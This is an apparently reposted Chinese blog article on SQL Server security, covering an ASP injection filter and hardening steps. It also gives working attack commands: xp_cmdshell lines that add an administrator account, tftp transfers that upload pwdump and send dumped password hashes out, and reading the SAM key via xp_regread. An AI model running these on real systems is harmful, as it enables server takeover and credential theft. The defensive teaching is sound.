從IIS到SQL Server資料庫安全

2021-06-20 08:08:21 字數 4141 閱讀 1460

從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程式自動利用了,大家還想去手工操作這些iis漏洞麼?讓我們調整重心,去看看伺服器常用的資料庫吧。

一般**都是基於資料庫的,特別是asp、php、jsp這樣的用資料庫來動態顯示的**。很多**可能多注意的是作業系統的漏洞,但是對資料庫和這些指令碼的安全總是忽略,也沒有太多注意。

從最比較普遍的指令碼問題開始,這些都是老話題了,大家可以參考hectic寫的《關於資料庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從sql指令碼問題說得非常詳細。對於指令碼安全的解決,也可以通過過濾來實現,可以參考我以前寫的。對於asp來說,可以使用下面這個過濾函式:

function filter_sql(strdata)

dim strfilter

dim blnflag

dim i

strfilter="',;,//,--,@,_,exec,declare" '需要過濾的字元,可以自己新增,","是分隔符

blnflag=flase '過濾標誌,如果產生過濾,那麼就是真

dim arrayfilter

arrayfilter=split(strfilter,",")

for i=0 to ubound(arrayfilter)

if instr(strdata,arrayfilter(i))>0 then

blnflag=true

exit for

end if

next

if blnflag then

response.redirect "wrong.asp"

'當發現有過濾操作時,導向乙個預定頁面。反正正常訪問用不到的連線請求,總不是好事情。

else

filter_sql=strdata

end if

end function

對於ms sql server資料庫來說,安全問題不僅僅侷限在指令碼上了。「天殺的微軟」的系統性很強,整個基於windows系統的應用都有很強的關聯性,對sql server來說,基本可以把資料庫管理和系統管理等同起來了。sql server預設的管理員帳號「sa」的密碼是空的,這給多數nt伺服器產生乙個安全漏洞。小榕的「sqlrcmd」,就能夠利用獲得的資料庫管理員帳號執行系統命令。

在sql server中有很多系統儲存過程,有些是資料庫內部使用的,還有一些就是通過執行儲存過程來呼叫系統命令。

系統儲存過程:xp_cmdshell

就是以作業系統命令列直譯器的方式執行給定的命令字串。它就具體語法是:xp_cmdshell [, no_output]

xp_cmdshell在預設情況下,只有 sysadmin 的成員才能執行。但是,sysadmin也可以授予其他使用者這個執行許可權。在早期版本中,獲得 xp_cmdshell 執行許可權的使用者在 sql server 服務的使用者帳戶中執行命令。可以通過配置選項配置 sql server,以便對 sql server 無 sa 訪問許可權的使用者能夠在sqlexecutivecmdexec windows nt 帳戶中執行 xp_cmdshell。在 sql server 7.0 中,該帳戶稱為 sqlagentcmdexec。現在對於sql server2000,只要有乙個能執行該儲存過程的帳號就可以直接執行命令了。

對於 nt 和 win2000,當使用者不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 sql server **程式的**帳戶。如果**帳戶不能用,則 xp_cmdshell 將失敗。所以即使有乙個帳戶是master資料庫的db_owner,也不能執行這個儲存過程。

如果我們有乙個能執行xp_cmdshell的資料庫帳號,比如是空口令的sa帳號。那麼我們可以執行這樣的命令:

exec xp_cmdshell 'net user refdom 123456 /add'

exec xp_cmdshell 'net localgroup administrators refdom /add'

上面兩次呼叫就在系統的管理員組中新增了乙個使用者:refdom

當我們獲得資料庫的sa管理員帳號後,就應該可以完全控制這個機器了。可見資料庫安全的重要性。

下面這些儲存過程都是對public可以執行的:

xp_fileexist,用來確定乙個檔案是否存在。

xp_getfiledetails,可以獲得檔案詳細資料。

xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。

xp_getnetname,可以獲得伺服器名稱。

還有可以操作登錄檔的儲存過程,這些不是對public可以執行的,需要系統管理員或者授權執行:

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumvalues

xp_regread (對public可以執行)

xp_regremovemultistring

xp_regwrite

sql server的安全配置

除跟著微軟打滿所有補丁外,還需要加強資料庫的安全。

首先,你需要加強象sa這樣的帳號的密碼,跟系統帳號的使用配置相似,一般運算元據庫不要使用象sa這樣的最高許可權的帳號,而使用能滿足你的要求的一般帳號。

接著對擴充套件儲存過程開始大**,首先就是xp_cmdshell,還有就是上面那些一大堆儲存過程,都drop吧,一般也用不著。

執行:

use master

sp_dropextendedproc 'xp_cmdshell'

去掉guest帳號,阻止非授權使用者訪問。

去掉不必要的網路協議。

加強對資料庫登陸的日誌記錄,最好記錄所有登陸事件。可以用下面的簡單dos命令來檢視日誌:

findstr /c:"登入" d:\microsoft sql server\mssql\log\*.*

用管理員帳號定期檢查所有帳號,是否密碼為空或者過於簡單,比如下面的語句:

use master

select name,password from syslogins where password is null

用下面語句對所有帳號,檢查對儲存過程和擴充套件儲存過程的執行權,提防不必要的執行許可權擴散:

use master

select sysobjects.name from sysobjects, sysprotects where sysprotects.uid = 0 and xtype in ('x','p') and sysobjects.id = sysprotects.id

加強資料庫的安全是非常重要的,有的資料庫伺服器是和web伺服器隔離開的,這就同mail伺服器一樣,資料庫的日誌可能就基本很少去檢視,這將會成為管理員的乙個疏忽點。類似dns、mail等等,資料庫伺服器往往成為各種入侵的跳板。

下面是一些關於資料庫的問答和技巧:

1、獲得sa許可權後,卻不能執行xp_cmdshell儲存過程怎麼辦?

答:可能是已經把xp_cmdshell等擴充套件儲存過程刪除了,可以用這個儲存過程把xp_cmdshell恢復。

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

2、通過資料庫用pwdump獲得系統管理員密碼先上傳乙個pwdump

tftp -i get pwdu***.exe pwdu***.exe

tftp -i get lsaext.dll lsaext.dll

tftp -i get pwservice.exe pwservice.exe

pwdu*** 127.0.0.1 outfile.txt

tftp put outfile.txt outfile.txt

然後再用解密工具l0pht等等破解這些密碼。

3、從資料庫讀取系統管理員密碼。

能讀出加密的密碼是nt的"administrator"帳號也不能做的,sql server能讀出來是使用的「localsystem」帳號,這個帳號比administrator更高一級。可以使用下面這個儲存過程。不過讀出來的密碼是經過加密後的,然後再解密吧。

xp_regread 'hkey_local_machine','security\sam\domains\account','f'

原文:

讀取iis日誌到sql server

using fasterflect using system using system.collections.generic using system.data.sqlclient using system.io using system.linq using system.reflection ...

資料遷移 從SqlServer到Oracle

要把sqlserver中的資料遷移到oracle有多種方法。如果資料量小,可以直接使用sql語句生成器 sqldatatoscript.exe 直接生成sql語句。如果資料量大,建議使用sql loader工具進行資料遷移。具體步驟如下 1.建立中間庫表。之所以需要建立中間庫表是因為,sqlserv...

從EXCEL匯入資料到SQL SERVER

從excel匯入資料到sql server 左直拳 介紹兩種途徑將資料從excel中匯入到sql server。一 在程式中,用ado.net。如下 連線串 string strconn provider microsoft.jet.oledb.4.0 extended properties exc...